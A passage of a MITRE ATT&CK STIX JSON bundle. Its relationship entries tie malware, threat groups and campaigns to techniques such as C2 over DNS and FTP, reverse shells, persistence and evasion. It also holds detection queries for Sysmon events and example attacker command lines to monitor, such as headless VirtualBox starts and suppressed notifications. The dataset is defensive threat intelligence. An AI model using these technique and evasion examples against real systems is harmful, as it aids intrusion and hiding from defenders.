            "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used FTP for C2 communications.(Citation: Unit 42 NOKKI Sept 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
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            "id": "relationship--ebd9f76d-f007-4077-a0c0-7b319eeb3b40",
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            "description": "Monitor for the creation to Registry keys associated with Windows logon scrips, nameley <code>HKCU\\Environment\\UserInitMprLogonScript</code>.\n\nAdversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path.\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n<code> (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode IN (12, 14, 13)) TargetObject= \"*\\Environment*UserInitMprLogonScript\")  </code>",
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            "id": "relationship--ebe49c13-057f-4dc4-b04b-f19ac2480c4a",
            "created": "2022-09-22T00:34:44.821Z",
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                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"
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            "modified": "2025-04-16T22:55:33.985Z",
            "description": "During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used dynamic DNS services for C2.(Citation: McAfee Night Dragon)",
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            "source_ref": "campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
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                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
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            ],
            "modified": "2025-04-28T16:15:57.777Z",
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.(Citation: Rancor Unit42 June 2018)",
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            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
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            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"
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            "id": "relationship--ec2e27c9-71fe-4650-a5b9-1247193c39f6",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "jRAT Symantec Aug 2018",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques"
                },
                {
                    "source_name": "Symantec Frutas Feb 2013",
                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:00.188Z",
            "description": "[jRAT](https://attack.mitre.org/software/S0283)\u2019s Java payload is encrypted with AES.(Citation: jRAT Symantec Aug 2018) Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of [jRAT](https://attack.mitre.org/software/S0283) also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.(Citation: Symantec Frutas Feb 2013)",
            "relationship_type": "uses",
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:00.367Z",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run <code>ls -la /Applications</code> to gather what applications are installed.(Citation: XAgentOSX 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
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            ],
            "modified": "2025-04-28T16:16:00.567Z",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.(Citation: Proofpoint Leviathan Oct 2017)",
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            "id": "relationship--ec4231fc-c081-4060-80fb-05f390e5f24c",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant Suspected Turla Campaign February 2023",
                    "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"
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            ],
            "modified": "2025-04-16T22:55:38.169Z",
            "description": "[KOPILUWAK](https://attack.mitre.org/software/S1075) can gather information from compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
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            "x_mitre_deprecated": false,
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        {
            "type": "relationship",
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            "id": "relationship--ec439835-0ccb-477e-8c58-1d8c4e8ed6ab",
            "created": "2020-03-17T02:28:21.891Z",
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                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:16:00.811Z",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using DNS for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "relationship_type": "uses",
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:00.973Z",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec4dfd75-c48d-4976-859e-b8732f907fc2",
            "created": "2022-03-30T14:26:51.859Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:38.769Z",
            "description": "Monitor executed commands and arguments that may leverage Microsoft Office-based applications for persistence between startups. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec4e6513-e156-4ed6-b298-e740000f8f4a",
            "created": "2022-03-30T14:26:51.844Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:38.968Z",
            "description": "Monitor for newly executed processes associated with DCOM activity, especially those invoked by a user different than the one currently logged on. Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also precede malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nThe Microsoft Management Console (mmc.exe) can be by used by threat actors used to spawn arbitrary processes through DCOM. The typical process tree for this method looks like: svchost.exe \u2014> mmc.exe \u2014> <some_process>.exe. \n\nAccordingly, look for process creation events of mmc.exe in conjunction with the -Embedding command-line argument, along with suspicious child processes that can be used for malicious purposes, such as cmd.exe, reg.exe, etc.\n\nSimilar to the Microsoft Management Console, Excel can also be used to execute processes through DCOM. In this case, the typical process tree looks like: svchost.exe \u2014> excel.exe \u2014> <some_process>.exe. \n\nLook for process creation events of excel.exe in conjunction with the /automation -Embedding command-line argument, along with suspicious child processes that can be used for malicious purposes, such as cmd.exe, reg.exe, etc.\n\n<code>sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1\n| search ParentImage=\"*dcomlaunch.exe*\" OR CommandLine=\"*dcom*\"\n| stats count by ParentImage, CommandLine, User, Computer, _time\n| eval suspicious_process=if(count > threshold, \"suspicious\", \"normal\")\n| where suspicious_process=\"suspicious\"\n| table _time, ParentImage, CommandLine, User, Computer, suspicious_process </code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec5259f2-5a6c-4d42-bf21-f91c2df64f61",
            "created": "2020-06-25T18:24:00.644Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "objective-see windtail1 dec 2018",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x3B.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:01.316Z",
            "description": "[WindTail](https://attack.mitre.org/software/S0466) can instruct the OS to execute an application without a dock icon or menu.(Citation: objective-see windtail1 dec 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec52f54f-2949-446e-9a4f-18c424ee4b24",
            "created": "2025-03-24T22:24:46.817Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:39.413Z",
            "description": "",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--d4287702-e2f7-4946-bdfa-2c7f5aaa5032",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec536758-9478-4bf9-9abd-69755d8382d2",
            "created": "2020-08-24T13:40:23.262Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET PipeMon May 2020",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:01.575Z",
            "description": "[PipeMon](https://attack.mitre.org/software/S0501), its installer, and tools are signed with stolen code-signing certificates.(Citation: ESET PipeMon May 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec55cdc1-8ca2-42c9-a1d9-9755d24bc294",
            "created": "2020-03-30T21:01:05.636Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:39.825Z",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can use HTTP over non-standard ports, such as 995, for C2.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec56fe4c-c61c-45e3-82fb-44edd43540fc",
            "created": "2020-02-10T20:03:11.820Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:40.047Z",
            "description": "Use file system access controls to protect folders such as `C:\\Windows\\System32`. ",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ec581cdf-0339-4f54-b88c-df4acfc25c12",
            "created": "2024-09-19T14:35:20.530Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
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            "description": "For [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used a modified version of the open source [PcShare](https://attack.mitre.org/software/S1050) remote administration tool.(Citation: Bitdefender FunnyDream Campaign November 2020)",
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                    "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.",
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            "modified": "2025-04-16T22:55:43.152Z",
            "description": "[Clambling](https://attack.mitre.org/software/S0660) can collect information from a compromised host.(Citation: Trend Micro DRBControl February 2020)",
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            "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49",
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                    "source_name": "Lookout Dark Caracal Jan 2018",
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            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) took screenshots using their Windows malware.(Citation: Lookout Dark Caracal Jan 2018)",
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                    "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.",
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                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
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            "relationship_type": "uses",
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
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                {
                    "source_name": "Cybereason Valak May 2020",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye"
                },
                {
                    "source_name": "Unit 42 Valak July 2020",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/"
                },
                {
                    "source_name": "Unit 42 TA551 Jan 2021",
                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/"
                },
                {
                    "source_name": "Secureworks GOLD CABIN",
                    "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin"
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                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
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            "modified": "2025-04-16T22:55:44.418Z",
            "description": "[TrailBlazer](https://attack.mitre.org/software/S0682) has used filenames that match the name of the compromised system in attempt to avoid detection.(Citation: CrowdStrike StellarParticle January 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--bdad6f3b-de88-42fa-9295-d29b5271808e",
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            "revoked": false,
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                {
                    "source_name": "TrendMicro Confucius APT Aug 2021",
                    "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html"
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            "modified": "2025-04-16T22:55:44.614Z",
            "description": "[Confucius](https://attack.mitre.org/groups/G0142) has created scheduled tasks to maintain persistence on a compromised host.(Citation: TrendMicro Confucius APT Aug 2021)",
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                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved November 17, 2024.",
                    "url": "https://fidelissecurity.com/resource/report/fidelis-threat-advisory-1020-dissecting-the-malware-involved-in-the-inocnation-campaign/"
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            "modified": "2025-04-16T22:55:44.863Z",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) persistence mechanism.(Citation: Fidelis INOCNATION)",
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            "description": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",
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                    "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
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                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
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            "modified": "2025-04-28T16:16:05.727Z",
            "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of creating reverse shell.(Citation: FireEye APT32 May 2017)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "MSTIC Nobelium Toolset May 2021",
                    "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:05.896Z",
            "description": "[VaporRage](https://attack.mitre.org/software/S0636) can use HTTP to download shellcode from compromised websites.(Citation: MSTIC Nobelium Toolset May 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--96eca9b9-b37f-42f1-96dc-a2c441403194",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecb7a35e-cc83-4b7d-9eb6-42d0bd7d5d9e",
            "created": "2020-09-29T19:16:57.931Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CISA WellMail July 2020",
                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:16:06.062Z",
            "description": "[WellMail](https://attack.mitre.org/software/S0515) can exfiltrate files from the victim machine.(Citation: CISA WellMail July 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ecba3572-741f-4b9f-8d4e-a44d9b648ae6",
            "created": "2022-03-30T14:26:51.866Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Shadowbunny VM Defense Evasion",
                    "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.",
                    "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:55:45.904Z",
            "description": "Consider monitoring for commands and arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. <code>-silent</code>, <code>-ignore-reboot</code>), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. <code>VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"</code>). Monitor for commands which enable hypervisors such as Hyper-V. On ESXi servers, monitor for unsusual use of the `/bin/vmx` utility.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
